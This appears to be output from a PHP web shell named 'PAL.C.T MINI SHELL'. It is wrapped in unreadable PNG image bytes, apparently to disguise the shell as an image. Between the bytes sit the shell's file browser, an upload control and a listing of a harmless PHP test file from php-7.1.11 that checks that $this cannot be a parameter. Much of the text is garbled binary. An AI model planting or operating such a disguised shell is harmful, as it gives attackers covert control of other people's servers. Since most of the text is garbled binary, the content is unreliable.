php  IHDRwQ)Ba pHYs  sRGBgAMA aIDATxMk\Us&uo,mD )Xw+e?tw.oWp;QHZnw`gaiJ9̟灙a=nl[ ʨG;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$y H@E7j 1j+OFRg}ܫ;@Ea~ j`u'o> j-$_q?qSXzG'ay

PAL.C.T MINI SHELL
files >> /php-7.1.11/tests/classes/
upload
files >> //php-7.1.11/tests/classes/static_this.phpt

--TEST--
ZE2 $this can be an argument to a static function
--FILE--
<?php

class TestClass
{
	function __construct()
	{
		self::Test1();
		$this->Test1();
	}

	static function Test1()
	{
		var_dump($this);
	}

	static function Test2($this)
	{
		var_dump($this);
	}
}

$obj = new TestClass;
TestClass::Test2(new stdClass);

?>
===DONE===
--EXPECTF--
Fatal error: Cannot use $this as parameter in %sstatic_this.php on line 16
y~or5J={Eeu磝QkᯘG{?+]ן?wM3X^歌>{7پK>on\jyR g/=fOroNVv~Y+NGuÝHWyw[eQʨSb>>}Gmx[o[<{Ϯ_qF vMIENDB`